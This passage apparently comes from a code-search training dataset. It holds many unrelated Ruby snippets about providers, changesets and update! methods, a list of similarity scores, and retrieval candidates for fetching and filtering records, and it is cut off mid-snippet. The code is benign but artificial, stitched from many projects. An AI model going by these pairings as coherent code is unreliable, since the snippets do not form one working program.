args.key?(:is_default_provider)\n @is_foreground_provider = args[:is_foreground_provider] if args.key?(:is_foreground_provider)\n @is_in_app_provider = args[:is_in_app_provider] if args.key?(:is_in_app_provider)\n @is_installed = args[:is_installed] if args.key?(:is_installed)\n @is_last_used_provider = args[:is_last_used_provider] if args.key?(:is_last_used_provider)\n @is_query_restricted_provider = args[:is_query_restricted_provider] if args.key?(:is_query_restricted_provider)\n @provider_selection_result = args[:provider_selection_result] if args.key?(:provider_selection_result)\n @provider_type_signal = args[:provider_type_signal] if args.key?(:provider_type_signal)\n end", "def update!(**args)\n @provider_info = args[:provider_info] if args.key?(:provider_info)\n @provider_key = args[:provider_key] if args.key?(:provider_key)\n @provider_type = args[:provider_type] if args.key?(:provider_type)\n end", "def update!(**args)\n @provider = args[:provider] if args.key?(:provider)\n @provider_uri = args[:provider_uri] if args.key?(:provider_uri)\n end", "def providers\n @providers.dup\n end", "def provider=(_arg0); end", "def edit\n @connected_providers = current_user.identities.collect{ |identitiy| identitiy.provider }\n super\n end", "def update!(**args)\n @channels_by_provider = args[:channels_by_provider] if args.key?(:channels_by_provider)\n end", "def provider=(provider)\n @provider = provider\n end", "def change_set_persister\n @change_set_persister ||= ChangeSetPersister.new(\n metadata_adapter: metadata_adapter,\n storage_adapter: storage_adapter\n )\n end", "def provider=(name)\n return unless name\n\n set_provider(name)\n copy_provider_keys\n end", "def set_provider\n PROVIDERS.each do |name|\n regex_string = PROVIDERS.first.eql?(name) ? name[0..-3] : name\n self.provider = name if link =~ /#{regex_string}/\n end\n end", "def refresh(provider)\n $evm.log(\"info\", \"Refreshing provider #{provider.name}\")\n provider.refresh\nend", "def change_set_persister\n ChangeSetPersister.new(metadata_adapter: Valkyrie.config.metadata_adapter, storage_adapter: Valkyrie.config.storage_adapter)\n end", "def set_provider\n @provider = Provider.find(params[:id]) if params[:id].present?\n @providers = Goodstype.find(params[:goodstype_id]).providers if params[:goodstype_id].present?\n end", "def set_provider\r\n @provider = Provider.find(params[:id])\r\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def set_provider\n @provider = Provider.find(params[:id])\n end", "def changeset\n @changeset ||= Changeset.new @repo, change_id\n end", "def changesets\n @changesets ||= ApiFactory.new 'Repos::Changesets'\n end", "def _update_dataset\n apply_instance_filters(super)\n end", "def update_provider(file, owner, repo)\n # It looks like the last version is always at the end\n # This saves one HTTP request to owner/repo\n last_version_data = http_get(\"#{owner}/#{repo}/versions\")[\"versions\"].last\n\n version = last_version_data[\"version\"]\n\n archSrc = last_version_data[\"platforms\"].inject({}) do |sum, data|\n arch = data[\"arch\"]\n os = data[\"os\"]\n nix_arch = ARCH_TO_NIX[arch]\n nix_os = OS_TO_NIX[os]\n if nix_arch && nix_os then\n sum[\"#{nix_arch}-#{nix_os}\"] = get_version(owner, repo, version, os, arch)\n end\n sum\n end\n\n data = {\n archSrc: archSrc,\n owner: owner,\n repo: repo,\n version: version,\n }\n\n File.write(file, <<NIX)\n{ mkTerraformProvider }:\nmkTerraformProvider #{to_nix data}\nNIX\nend", "def sync_to_provider #:nodoc:\n self.cache_writehandle do # when the block ends, it will trigger the provider upload\n self.erase_cache_symlinks unless self.archived?\n end\n self.make_cache_symlinks unless self.archived?\n true\n end", "def update!(**args)\n @instance = args[:instance] if args.key?(:instance)\n @is_added_by_edit = args[:is_added_by_edit] if args.key?(:is_added_by_edit)\n @is_inferred = args[:is_inferred] if args.key?(:is_inferred)\n @provider = args[:provider] if args.key?(:provider)\n @source_dataset = args[:source_dataset] if args.key?(:source_dataset)\n end", "def set_provider\n @provider = Provider.friendly.find(params[:id])\n end", "def change_set_persister\n ChangeSetPersister.new(\n metadata_adapter: Valkyrie::MetadataAdapter.find(:indexing_persister),\n storage_adapter: Valkyrie::StorageAdapter.find(:disk_via_copy)\n )\n end", "def reset_provider\n remove_stored_info\n set_default_as_provider\n end", "def update!(**args)\n @enforcement_state = args[:enforcement_state] if args.key?(:enforcement_state)\n @provider = args[:provider] if args.key?(:provider)\n end", "def update!(**args)\n @dataset = args[:dataset] if args.key?(:dataset)\n @provider = args[:provider] if args.key?(:provider)\n end", "def update!(**args)\n @dataset = args[:dataset] if args.key?(:dataset)\n @provider = args[:provider] if args.key?(:provider)\n end", "def set_provider_project\n @provider_project = ProviderProject.find(params[:id])\n @h_providers = {}\n Provider.all.map{|p| @h_providers[p.id] = p}\n end", "def update\n @provider = current_company.providers.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def apply(changes)\n GoodData::User.apply(self, changes)\n end", "def use_provider( provider_class, opts = {} )\n opts = opts.merge( sync_file_path: caller_path( caller ) )\n @provider = provider_class.new( self, opts )\n end", "def call_provider(_value); end", "def sync\n @resource.provider.transition\n end", "def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to provider_readme_url(@provider), notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def provider; end", "def set_v1_provider_operation\n @v1_provider_operation = V1::ProviderOperation.find(params[:id])\n end", "def flush\n self.provider.flush if self.provider and self.provider.respond_to?(:flush)\n end", "def perform\n @provider = Provider.find_or_create_by(name: 'Atlantic.net')\n update_compute_batch\n end", "def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update!(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def update!(*)\n assert_source_saved 'The source must be saved before mass-updating the collection'\n super\n end", "def decorated_change_set_resource\n @decorated_change_set_resource ||= @change_set.resource.decorate\n end", "def modify\n super\n end", "def update\n respond_to do |format|\n if @provider.update(check_params)\n #@provider = Provider.find(params[:id])\n #if @provider.update_attributes(params[:provider])\n format.html { redirect_to providers_page_url, notice: 'Поставщик успешно обновлен.' }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def changeset\n @changeset ||= WorkingDirectoryChangeset.new(@repo)\n end", "def update!(**args)\n @auth_provider = args[:auth_provider] if args.key?(:auth_provider)\n end", "def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n flash[:notice] = 'Provider was successfully updated.'\n format.html { redirect_to(@provider) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @provider = Provider.find(params[:id])\n\n\n if @provider.update_attributes(params[:provider])\n redirect_to(@provider, :success => 'Provider was successfully updated.')\n\n else\n\t\trender :action => \"edit\" \n \n end\n\n end", "def configure(&block)\n unless provider\n raise 'Translation provider not selected yet. Use `Lit::CloudTranslation' \\\n '.provider = PROVIDER_KLASS` before calling #configure.'\n end\n provider.tap do |p|\n p.configure(&block)\n end\n end", "def state_replace_provider(parameters = {}, invocation_options = {})\n exec(RubyTerraform::Commands::StateReplaceProvider,\n parameters, invocation_options)\n end", "def update\n validate_save_and_respond(load_change_set, :edit)\n end", "def on_changed(settings)\n throw NotImplementedError\n end", "def altered_files\n raise NotImplementedError.new(\"altered_files() must be implemented by subclasses of AbstractChangeset.\")\n end", "def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @autoplay_toggle_state = args[:autoplay_toggle_state] if args.key?(:autoplay_toggle_state)\n @available_providers = args[:available_providers] if args.key?(:available_providers)\n @provider_filter_state = args[:provider_filter_state] if args.key?(:provider_filter_state)\n @state = args[:state] if args.key?(:state)\n @whitelisted_providers = args[:whitelisted_providers] if args.key?(:whitelisted_providers)\n end", "def set_provider\n @provider = Provider.unscoped.where(\"allocator.role_name IN ('ROLE_FOR_PROFIT_PROVIDER', 'ROLE_CONTRACTUAL_PROVIDER', 'ROLE_CONSORTIUM_LEAD' , 'ROLE_ALLOCATOR', 'ROLE_ADMIN', 'ROLE_MEMBER')\").where(deleted_at: nil).where(symbol: params[:id]).first\n fail ActiveRecord::RecordNotFound unless @provider.present?\n end", "def method_missing(name, *args, &block)\n if self.provider && provider.respond_to?(name)\n self.provider.send(name, *args, &block)\n else\n super(name, *args, &block)\n end\n end", "def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: 'Provider was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @app_integrations_settings = args[:app_integrations_settings] if args.key?(:app_integrations_settings)\n @provider_delta = args[:provider_delta] if args.key?(:provider_delta)\n end", "def update\n respond_to do |format|\n if @provider.update(provider_params)\n format.html { redirect_to @provider, notice: \"Provider was successfully updated.\" }\n format.json { render :show, status: :ok, location: @provider }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def orm_patches_applied=(_arg0); end", "def update\n @provider = Provider.find(params[:id])\n\n respond_to do |format|\n if @provider.update_attributes(params[:provider])\n format.html { redirect_to(@provider, :notice => 'Provider was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => { :resp=> \"ok\" }}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n format.json { render :json => { :resp=> \"error\" }}\n end\n end\n end", "def changeset\n raise NotImplementedError.new(\"changeset() must be implemented by subclasses of AbstractVersionedFile.\")\n end", "def provider\n\tend", "def apply_dataset_changes(ds)\n ds = ds.with_extend(AssociationDatasetMethods).\n clone(:association_reflection => self)\n self[:extend].each{|m| ds = ds.with_extend(m)}\n ds = ds.select(*select) if select\n if c = self[:conditions]\n ds = (c.is_a?(Array) && !Sequel.condition_specifier?(c)) ? ds.where(*c) : ds.where(c)\n end\n ds = ds.order(*self[:order]) if self[:order]\n ds = ds.limit(*self[:limit]) if self[:limit]\n ds = ds.limit(1).skip_limit_check if limit_to_single_row?\n ds = ds.eager(self[:eager]) if self[:eager]\n ds = ds.distinct if self[:distinct]\n ds\n end", "def alter(&blk)\n dup.tap { |o| o.instance_eval(&blk) }\n end", "def update!(**args)\n @provider_id = args[:provider_id] if args.key?(:provider_id)\n @tag = args[:tag] if args.key?(:tag)\n @tag_fp = args[:tag_fp] if args.key?(:tag_fp)\n end", "def user_provider=(_arg0); end", "def set_changeset\n @changeset = Changeset.friendly.find(params[:id] || params[:changeset_id])\n end", "def update_provider_type(params)\n unless params[:type].blank?\n self.provider_type = 0\n params[:type].each do|e|\n self.provider_type |= e.to_i\n end\n else\n self.provider_type = 1\n end\n self.save\n end", "def set(**options)\n options.symbolize_keys!\n keys = options.keys\n\n store = self.store\n\n previous_context = keys.zip(store.values_at(*keys)).to_h\n\n store.merge!(options)\n @after_change_callbacks.each(&:call)\n\n if block_given?\n begin\n yield\n ensure\n store.merge!(previous_context)\n @after_change_callbacks.each(&:call)\n end\n end\n end", "def refresh!\n raise NotImplementedError, \"#refresh! is not implemented on #{@provider}:#{@type}\"\n end", "def refresh!\n mutex.synchronize do\n old = current\n\n new_hash = Hash[*(provider.all.map { |s|\n [s.name.intern, convert(s.value, s.data_type, s.name)]\n }.to_a.flatten)]\n\n # add defaults, cause they are cached\n new_hash = defaults.merge(new_hash)\n\n # add shadowed\n shadowed_settings.each { |ss| new_hash[ss] = GlobalSetting.send(ss) }\n\n changes, deletions = diff_hash(new_hash, old)\n\n changes.each { |name, val| current[name] = val }\n deletions.each { |name, val| current[name] = defaults[name] }\n\n clear_cache!\n end\n end", "def save\n if @system_data and (something = @system_data[:client]) and something.respond_to?(:attributes)\n changes = 0\n something.attributes.each do |k, v|\n if self.send(k) != v\n something.send(k + '=', self.send(k))\n changes += 1\n end\n end\n something.save if changes > 0\n else\n raise TaskMapper::Exception.new(\"#{self.class.name}::#{this_method} method must be implemented by the provider\")\n end\n end", "def update_provider!(provider, provider_info = {}, access = {})\n Api::Request.new do |request|\n request[:access] = access\n request[:method] = :PUT\n request[:path] = \"/mgmt/{{client_id}}/storages/#{provider}\"\n request[:request_body] = provider_info\n end.execute!\n\n end", "def each\n raise NotImplementedError.new(\"each() must be implemented by subclasses of AbstractChangeset.\")\n end", "def update\n @parent.gemset_update\n end", "def change_set_persister\n ChangeSetPersister.new(\n metadata_adapter: Valkyrie::MetadataAdapter.find(:indexing_persister),\n storage_adapter: Valkyrie.config.storage_adapter\n )\n end", "def customize_provider(name,options)\n ''\n end", "def provider=(new_provider)\n web3.JS.setProvider(new_provider)\n provider\n end", "def item_changeset\n return @item_changeset if defined?(@item_changeset)\n return nil if self.data['changes'].nil?\n\n @item_changeset ||= self.changeset_class(self.item).new(self.item, self.data['changes'])\n end", "def set_selected_provider\n autodetect_selected_provider if params[:provider] == 'auto' && params[:ord].present?\n\n @selected_provider = case params[:provider]\n when 'estcard'\n if EcwidPizzeria::Application.config.estcard.enabled\n prepare_estcard\n params[:provider]\n end\n when 'paypal'\n if EcwidPizzeria::Application.config.paypal.enabled\n prepare_paypal\n params[:provider]\n end\n when %r(\\Amakecommerce_(.*)\\z)\n payment_method = $1\n @payment_method = payment_method\n\n @payment_method = if EcwidPizzeria::Application.config.make_commerce.enabled && makecommerce_service.enabled_payment_methods.include?(payment_method)\n params[:provider] = 'makecommerce'\n payment_method\n else\n nil\n end\n params[:provider]\n when *EcwidPizzeria::Application.config.banks.enabled\n prepare_ipizza\n params[:provider]\n end\n end", "def refresh_provider(service)\n provider = service.orchestration_manager\n\n $evm.log(\"info\", \"Refreshing provider #{provider.name}\")\n $evm.set_state_var('provider_last_refresh', provider.last_refresh_date.to_i)\n provider.refresh\nend", "def refresh\n if PuppetX::Sensu::AgentEntityConfig.config_classes[@parameters[:config].value].is_a?(Hash) && provider.value == 'REDACTED'\n provider.update\n else\n debug 'Skipping refresh; config is not one that can be redacted'\n end\n end" ]
[ "0.6142536", "0.5951969", "0.57622623", "0.5752811", "0.56973803", "0.5648445", "0.55884767", "0.5579915", "0.55569077", "0.5551381", "0.5480244", "0.54727393", "0.546864", "0.5427239", "0.5379173", "0.5363861", "0.53466374", "0.53225005", "0.5283321", "0.526186", "0.52458304", "0.52334654", "0.52334654", "0.52334654", "0.52334654", "0.52334654", "0.52334654", "0.52334654", "0.5224116", "0.5213971", "0.5205659", "0.51970357", "0.51755446", "0.51689315", "0.5153169", "0.51495814", "0.5148421", "0.51280504", "0.5126835", "0.5126366", "0.5126366", "0.5121931", "0.5119883", "0.5089196", "0.50863147", "0.5068429", "0.50665426", "0.50587726", "0.5044075", "0.50383013", "0.50320494", "0.50294244", "0.5007127", "0.5007127", "0.4979863", "0.4979863", "0.4977172", "0.49753085", "0.49648514", "0.49613184", "0.49575606", "0.49544406", "0.49509722", "0.4949799", "0.49362162", "0.4929071", "0.49243665", "0.48950252", "0.48879358", "0.48879358", "0.48811984", "0.4875269", "0.48709807", "0.4865274", "0.48641002", "0.48603097", "0.48559955", "0.48543087", "0.48441213", "0.48353174", "0.48303914", "0.4828012", "0.4826653", "0.48261267", "0.48226225", "0.48183233", "0.47969845", "0.47904798", "0.47887838", "0.47881743", "0.47801766", "0.47765413", "0.47659245", "0.47650325", "0.47552934", "0.47526994", "0.47449386", "0.4744743", "0.47435802", "0.47391164" ]
0.49791932
56
returns an array of Record objects that match the records which exist in the provider
def retrieve_current_records(stdout = $stdout) raise NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def match_records(records)\n records.select do |record|\n conditions.matches?(record)\n end\n end", "def records\n arr = @klass.all(find_options)\n arr.empty? ? nil : arr\n end", "def get_qual_records\n records = storage_engine.get_all\n qual_records = []\n records.each do |record|\n qual_records << record if record.qualified?\n end\n qual_records\n end", "def matched_identities\n @matched_identities ||= @provider_identity.find_records\n end", "def records\n live_lookup_service.new(@ids).records\n end", "def recordsets_by(params)\n GRemote::RecordSet.list_for(self.id ? self.id : self.name, params)\n end", "def records\n @records ||= search.records\n end", "def filter_records\n return [] unless @master_objects\n return @master_objects if @master_objects.is_a? Array\n\n pk = @implementation_class.primary_key\n @filtered_ids = @master_objects\n .each { |i| i.current_user.nil? && i.respond_to?(:current_user=) && i.current_user ||= current_user }\n .select { |i| i.class.definition.default_options&.calc_if(:showable_if, i) }\n .map { |o| o.attributes[pk] }\n @master_objects = @master_objects.where(pk => @filtered_ids)\n filter_requested_ids\n limit_results\n end", "def matched_users\n @matched_users ||= @provider_user.find_records\n end", "def filter_records(records)\n records = records.uniq if unique?\n records = match_records(records)\n records = sort_records(records)\n records = limit_records(records)\n records\n end", "def get_records(params, columns)\n []\n end", "def fetch_records(ids)\n model.where(id: ids)\n end", "def records\n @records ||= []\n end", "def relevant_records\n case context\n when \"applicant\" then phase.all_applications\n when \"mentors\" then phase.all_applications.collect(&:mentors).flatten\n when \"group_members\" then phase.all_applications.collect(&:group_members).flatten\n when \"reviewers\" then (phase.all_applications.collect{|a| a.reviewers.without_committee_scores} + offering.reviewers).flatten\n when \"interviewers\" then (phase.all_applications.collect(&:interviewers) + offering.interviewers).flatten\n end\n end", "def records\n sql_records = klass.subject_type.where(klass.subject_type.primary_key => ids)\n sql_records = sql_records.includes(self.options[:includes]) if self.options[:includes]\n\n # Re-order records based on the order from Elasticsearch hits\n # by redefining `to_a`, unless the user has called `order()`\n #\n sql_records.instance_exec(response.response['hits']['hits']) do |hits|\n ar_records_method_name = :to_a\n ar_records_method_name = :records if defined?(::ActiveRecord) && ::ActiveRecord::VERSION::MAJOR >= 5\n\n define_singleton_method(ar_records_method_name) do\n if defined?(::ActiveRecord) && ::ActiveRecord::VERSION::MAJOR >= 4\n self.load\n else\n self.__send__(:exec_queries)\n end\n @records.sort_by { |record| hits.index { |hit| hit['_id'].to_s == record.id.to_s } }\n end if self\n end\n\n sql_records\n end", "def find_records(filters, opts = {})\n return super(filters, opts) unless should_query?(filters)\n return [] if filters.values.any?(&:nil?)\n\n # Apply scopes and load\n load_query_records(apply_scopes(filters, opts), opts)\n end", "def findRecords()\n @submission_records = SubmissionRecord.where(\"team_id = ? AND assignment_id = ?\",params['team_id'],params['assignment_id'])\n\n end", "def get_unqual_records\n records = storage_engine.get_all\n qual_records = []\n records.each do |record|\n qual_records << record unless record.qualified?\n end\n qual_records\n end", "def fetch_records(record_class:, record_ids:)\n output = []\n record_ids.each do |record_id|\n key = get_key_for_record_id(record_id: record_id, record_class: record_class)\n data = REDIS_APP_JOIN.hgetall(key)\n # => add the key as ID attribute if there is data hash\n output << OpenStruct.new(data.merge(id: record_id.to_s)) if data.size > 0\n end\n return output\n end", "def related_records(name)\n relationship = self.class.find_relationship(name)\n records = relationship.who_participates_with(self)\n\n relationship.wants_array? ? records : records.first\n end", "def get_records(*identifiers, **opt)\n get_relation(*identifiers, **opt).records\n end", "def get_records(*identifiers, **opt)\n get_relation(*identifiers, **opt).records\n end", "def find_records(*items, id_key: nil, alt_id_key: nil, **opt)\n id_key ||= id_column\n unless opt[:all]\n opt_items = id_key && opt.delete(id_key)\n opt_items = alt_id_key && opt.delete(alt_id_key) || opt_items\n if opt_items\n items += Array.wrap(opt_items)\n elsif items.empty?\n opt[:all] = true\n end\n end\n collect_records(*items, **opt).first || []\n end", "def recordings\n recording_ids = self.instrument_tags.where(instrument_tagable_type: 'Recording').pluck(:instrument_tagable_id)\n Recording.where(id: recording_ids)\n end", "def records(_options = {})\n if defined?(_resource_klass.records)\n _resource_klass.records(_options)\n else\n _resource_klass._model_class.all\n end\n end", "def records\n Importu::Record::Iterator.new(@source.rows, config)\n end", "def records\n @records ||= Records.new(klass, self)\n end", "def records(scope)\n scope = policy_scope(scope)\n @q = scope.ransack(ransack_params)\n # Reserved to use grouping search conditions\n # @q.build_grouping unless @q.groupings.any?\n @q.sorts = default_sort if @q.sorts.empty?\n @q.result\n .includes(records_includes)\n .page(params[:page])\n end", "def associated_records(ids)\n max_ids_in_a_list = connection.ids_in_list_limit || ids.size\n records = []\n ids.each_slice(max_ids_in_a_list) do |some_ids|\n records += yield(some_ids)\n end\n records\n end", "def filter_records\n return unless @master_objects\n return @master_objects if @master_objects.is_a? Array\n\n @filtered_ids = @master_objects\n .select { |i| i.option_type_config&.calc_if(:showable_if, i) }\n .map(&:id)\n @master_objects = @master_objects.where(id: @filtered_ids)\n filter_requested_ids\n limit_results\n end", "def records_filtered\n records\n @config[:records_filtered]\n end", "def records\n fail 'Not yet implemented'\n end", "def all\r\n copy_and_return(@records)\r\n end", "def collect_records(matches, new_collection)\n matches.each do |match|\n next if new_collection.matching_records('record_id', match.record_id).length > 1\n new_collection.push(match)\n end\n end", "def associated_rows(records, attributes)\n if records.empty?\n [Array.new(attributes.length)]\n else\n records.map { |record| row_for(record, attributes) }\n end\n end", "def find_rows(field_name, record_id) \n results = CONNECTION.execute(\"SELECT * FROM #{self.table_name} WHERE #{field_name} = #{record_id}\")\n \n return self.results_as_objects(results) \n end", "def __records_for_klass(klass, ids)\n adapter = __adapter_for_klass(klass)\n\n case\n when Elasticsearch::Model::Adapter::ActiveRecord.equal?(adapter)\n klass.where(klass.primary_key => ids)\n when Elasticsearch::Model::Adapter::Mongoid.equal?(adapter)\n klass.where(:id.in => ids)\n else\n klass.find(ids)\n end\n end", "def test_records\n job = accept_job_named('job')\n job_start = Time.local(2001, \"feb\", 13)\n @session.start(job, job_start)\n @session.stop(job, job_start + 20.minutes)\n\n # All records.\n assert_equal(\"job\", @session.records[0].job.name)\n\n # by job name\n assert_equal(\"job\",\n @session.records(RecordFilter.by_job_full_name('job'))[0].job.name)\n assert_equal([], @session.records(RecordFilter.by_job_full_name('nomatch')))\n\n # by month to a moment - note that end moment is inclusive.\n matches = @session.records(RecordFilter.by_month_to_time(job_start))\n assert_equal(1, matches.length)\n\n\n # Does chaining work?\n matches = @session.records(RecordFilter.by_job_full_name('job'),\n RecordFilter.by_month_to_time(job_start))\n assert_equal(1, matches.length)\n\n matches = @session.records(RecordFilter.by_job_full_name('job'),\n RecordFilter.by_month_to_time(job_start-1))\n assert_equal(0, matches.length)\n\n matches = @session.records(RecordFilter.by_month_to_time(job_start),\n RecordFilter.by_job_full_name('nomatch'))\n \n assert_equal(0, matches.length)\n end", "def get_record_types\n get_records_with_filter {|records, record_type, offset, ptr| records.push(ptr[0])}\n end", "def get_matches_by_recno(query_type, filter, recnos)\r\n result_struct = get_result_struct(query_type, filter)\r\n match_array = KBResultSet.new(self, filter, filter.collect { |f|\r\n @field_types[@field_names.index(f)] })\r\n\r\n tbl_rec = @table_class.new(self)\r\n\r\n @db.engine.get_recs_by_recno(self, recnos).each do |rec|\r\n next if rec.nil?\r\n tbl_rec.populate(rec)\r\n\r\n match_array << create_result_rec(query_type, filter,\r\n result_struct, tbl_rec, rec)\r\n end\r\n return match_array\r\n end", "def get_all_records_for_zone zone\n @records_cache ||= {}\n unless @records_cache[zone]\n # not cached, we need to retrieve it\n @records_cache[zone] = []\n offset = 0\n has_more = true\n while has_more\n response = rec_load_all zone, offset\n has_more = response['response']['recs']['has_more']\n offset += response['response']['recs']['count']\n @records_cache[zone].concat(response['response']['recs']['objs'])\n end\n end\n @records_cache[zone]\n end", "def records_for_picker(records)\n ret = []\n records.each_with_index do |record, i| \n ret << [record['Name'], i ] \n end\n ret\n end", "def records_for_picker(records)\n ret = []\n records.each_with_index do |record, i| \n ret << [record['Name'], i ] \n end\n ret\n end", "def record_ids\n @records.keys\n end", "def get_all_records_for_zone zone\n # not cached, we need to retrieve it\n records = []\n offset = 0\n has_more = true\n while has_more\n response = rec_load_all zone, offset\n has_more = response['response']['recs']['has_more']\n offset += response['response']['recs']['count']\n records.concat(response['response']['recs']['objs'])\n end\n records\n end", "def get_records zone, name\n result = {}\n get_all_records_for_zone(zone).each do |rec|\n if rec['display_name'] == name && rec['zone_name'] == zone\n result[rec['rec_id']] = rec\n end\n end\n result\n end", "def to_a\n records\n end", "def related_records_for(record, key = nil)\n key ||= record.class.to_s.underscore.to_sym\n related = [related_records[record.class] || []].flatten\n include_self = ((!record.is_a?(ActiveRecord::Base)) || (!related.delete(:self).nil?))\n recs = related.map do |r|\n related_records_for(record.send(r), r)\n end.reduce({}) do |acc, h|\n acc.merge h\n end\n if include_self\n recs = recs.merge(\n {\n key => record\n })\n end\n recs\n end", "def build_search(records, search)\n records = records.where(name: search.name) if search.name.present?\n records = records.where(profession: search.profession) if search.profession.present?\n records = records.where(grade: search.grade) if search.grade.present?\n\n records\n end", "def any(options = {})\n\t get_records('-findany', {}, options)\n\t end", "def retrieve_records_for_csv\n records = fetch_records\n records = filter_records(records)\n records = sort_records(records) if datatable.orderable?\n records\n end", "def find_all(&block)\r\n copy_and_return(@records.select(&block))\r\n end", "def results\n @scope.where(@scope.primary_key => @ids).to_a\n end", "def apply_filtering(records, params)\n return records unless params[:conditions]\n records.select! do |record|\n params[:conditions].all? do |key, value|\n db_value = record.send(key) if record.respond_to?(key)\n if key == :id\n value = value.is_a?(Array) ? value.map(&:to_i) : value.to_i\n end\n if value.is_a?(Array)\n value.include?(db_value)\n else\n db_value == value\n end\n end\n end\n records\n end", "def associated_records\n []\n end", "def provider_items\n @provider_items ||= ProviderItem.find(provider_items_ids)\n end", "def load_records\n native_instance(true)\n native_instance.top(limit) if limit.present?\n Array(service.native_instance.execute)\n end", "def wanted_records(records, domains)\n _records = records.select { |m| domains.include?(m[1]) }\n _records = _records.each_cons(2).select { |a, b| a.last == b.last }\n _records = _records.group_by(&:last).keys.map do |v|\n { record_id: v.first, ip_address: v.last }\n end\n _records\n end", "def get_records_with_filter (&block)\n ui2 = @records_unpacked\n records = []\n\n ui2_size = ui2.size\n offset = 0\n ptr = ui2\n\n while(offset < ui2_size) do\n curr_record_type = ptr[0]\n record_size = ptr[1]\n offset += (record_size/2)\n\n yield records, curr_record_type, offset, ptr\n\n ptr = ptr[(record_size/2)..-1]\n end\n\n records\n end", "def get_matches(query_type, filter, select_cond)\r\n result_struct = get_result_struct(query_type, filter)\r\n match_array = KBResultSet.new(self, filter, filter.collect { |f|\r\n @field_types[@field_names.index(f)] })\r\n\r\n tbl_rec = @table_class.new(self)\r\n\r\n # Loop through table.\r\n @db.engine.get_recs(self).each do |rec|\r\n tbl_rec.populate(rec)\r\n\r\n next if select_cond and not select_cond.call(tbl_rec)\r\n\r\n match_array << create_result_rec(query_type, filter,\r\n result_struct, tbl_rec, rec)\r\n end\r\n return match_array\r\n end", "def collect_records(*items, all: false, force: false, type: nil, **opt)\n raise 'If :all is true then no items are allowed' if all && items.present?\n opt = items.pop if items.last.is_a?(Hash) && opt.blank?\n Log.warn { \"#{__method__}: no criteria supplied\" } if all && opt.blank?\n type ||= record_class\n items = items.flatten.compact\n failed = []\n if items.present?\n # Searching by identifier (possibly modified by other criteria).\n items =\n items.flat_map { |item|\n item.is_a?(type) ? item : expand_ids(item) if item.present?\n }.compact\n identifiers = items.reject { |item| item.is_a?(type) }\n if identifiers.present?\n found = {}\n id_key = id_column.to_s\n sid_key = self.class.safe_const_get(:SID_COLUMN).to_s\n type.get_records(*identifiers, **opt).each do |record|\n id = record.try(id_key) and found.merge!(id.to_s => record)\n sid = record.try(sid_key) and found.merge!(sid.to_s => record)\n end\n items.map! { |item| !item.is_a?(type) && found[item] || item }\n items, failed = items.partition { |i| i.is_a?(type) } unless force\n end\n elsif all\n # Searching for non-identifier criteria (e.g. { user: @user }).\n items = type.get_records(**opt)\n end\n return items, failed\n end", "def records\n unless Adknowledge.token\n raise ArgumentError, 'Adknowledge token required to perform queries'\n end\n results\n end", "def records_array(lines)\n lines.map { |line| collect_line(line) }.select { |rate| rate[:rate_type] == :list }\n end", "def search(records, field, criteria)\n records.select { |record| record[field] == criteria }\n end", "def remembered_records\n @instantiated_records.values.collect do |h|\n h.values.compact.collect(&:actual)\n end.flatten.compact\n end", "def pull_records(value)\n begin\n column = match_column(value) # determine which column contains the specified value\n unless column == \"\"\n results = [] # array to hold all matching hashes\n conn = open_db()\n query = \"select *\n from details\n join numbers on details.id = numbers.details_id\n join quotes on details.id = quotes.details_id\n where \" + column + \" ilike $1\n order by name\"\n conn.prepare('q_statement', query)\n rs = conn.exec_prepared('q_statement', [\"%\" + value + \"%\"])\n conn.exec(\"deallocate q_statement\")\n rs.each { |result| results.push(result) }\n return results\n else\n return [{\"quote\" => \"No matching record - please try again.\"}]\n end\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\nend", "def fetch_records(action)\n klass = action.klass.constantize\n\n # scope the action if necessary\n unless action.lookup_field_value_pair.blank?\n lookup_value = TriggerHandler\n .evaluate_value(action.lookup_field_value_pair.value, 